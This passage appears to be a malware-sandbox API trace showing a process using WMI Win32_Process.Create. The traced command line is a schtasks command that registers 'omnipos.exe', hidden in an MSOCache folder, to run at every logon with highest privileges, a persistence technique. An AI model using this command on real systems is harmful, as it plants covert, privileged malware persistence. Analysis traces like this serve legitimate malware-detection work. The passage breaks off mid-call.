WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0114.822] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0114.822] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0114.822] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0114.823] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.823] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b45d7b0) returned 0x0 [0114.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d7b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0114.823] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d7b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4b08a0) returned 0x0 [0114.823] WbemDefPath:IUnknown:Release (This=0x1b45d7b0) returned 0x0 [0114.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4b08a0) returned 0x0 [0114.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0114.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0114.824] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0114.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0114.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0114.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b45d3d0) returned 0x0 [0114.824] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d3d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.824] WbemDefPath:IUnknown:Release (This=0x1b45d3d0) returned 0x3 [0114.824] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0114.824] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0114.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0114.824] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0114.824] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0114.824] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0114.824] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0114.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4b08a0) returned 0x0 [0114.825] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0114.825] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0114.825] WbemDefPath:IWbemPath:SetText (This=0x1b4b08a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0114.825] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0114.825] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0114.825] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.825] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0114.825] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0114.825] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0114.825] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.826] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45cf30) returned 0x0 [0114.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cf30, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0114.826] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cf30, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0ae0) returned 0x0 [0114.826] WbemDefPath:IUnknown:Release (This=0x1b45cf30) returned 0x0 [0114.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0ae0) returned 0x0 [0114.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0114.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0114.826] WbemDefPath:IUnknown:AddRef (This=0x1b4b0ae0) returned 0x3 [0114.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0114.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0114.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45d2d0) returned 0x0 [0114.826] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d2d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.826] WbemDefPath:IUnknown:Release (This=0x1b45d2d0) returned 0x3 [0114.826] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0114.827] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0114.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0114.827] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x2 [0114.827] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x1 [0114.827] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0114.827] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0114.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0ae0) returned 0x0 [0114.827] WbemDefPath:IUnknown:AddRef (This=0x1b4b0ae0) returned 0x3 [0114.827] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x2 [0114.827] WbemDefPath:IWbemPath:SetText (This=0x1b4b0ae0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0114.827] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b08a0) returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0ae0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0ae0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0114.827] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b08a0, uIndex=0x0, pszName="root") returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0ae0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0ae0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0114.827] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b08a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0ae0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0ae0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0114.827] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b08a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b08a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b08a0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0114.828] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0114.828] WbemLocator:IUnknown:AddRef (This=0x1b510398) returned 0x3 [0114.828] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b510398) returned 0x0 [0114.828] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x3 [0114.828] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x2 [0114.828] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0114.828] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0114.828] IWbemServices:GetObject (in: This=0x1b4e1040, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d86c0, ppCallResult=0x0) returned 0x0 [0114.831] IWbemClassObject:GetMethod (in: This=0x1b4d86c0, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d8350, ppOutSignature=0x1b30d610*=0x1b4d8a30) returned 0x0 [0114.832] IWbemClassObject:SpawnInstance (in: This=0x1b4d8350, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4707e0) returned 0x0 [0114.832] IWbemClassObject:Get (in: This=0x1b4707e0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacb68*=0, plFlavor=0x2aacb6c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacb68*=8, plFlavor=0x2aacb6c*=32) returned 0x0 [0114.832] IWbemClassObject:Get (in: This=0x1b4707e0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacb68*=8, plFlavor=0x2aacb6c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacb68*=8, plFlavor=0x2aacb6c*=32) returned 0x0 [0114.832] IWbemClassObject:Put (This=0x1b4707e0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0114.832] IWbemClassObject:Get (in: This=0x1b4707e0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacbf8*=0, plFlavor=0x2aacbfc*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacbf8*=13, plFlavor=0x2aacbfc*=32) returned 0x0 [0114.833] IWbemClassObject:Get (in: This=0x1b4707e0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacbf8*=13, plFlavor=0x2aacbfc*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacbf8*=13, plFlavor=0x2aacbfc*=32) returned 0x0 [0114.833] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d7590) returned 0x0 [0114.833] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0114.833] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0114.833] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0114.833] IUnknown:AddRef (This=0x1b4d7590) returned 0x3 [0114.833] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0114.833] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0114.833] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d7598) returned 0x0 [0114.833] IMarshal:GetUnmarshalClass (in: This=0x1b4d7598, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: 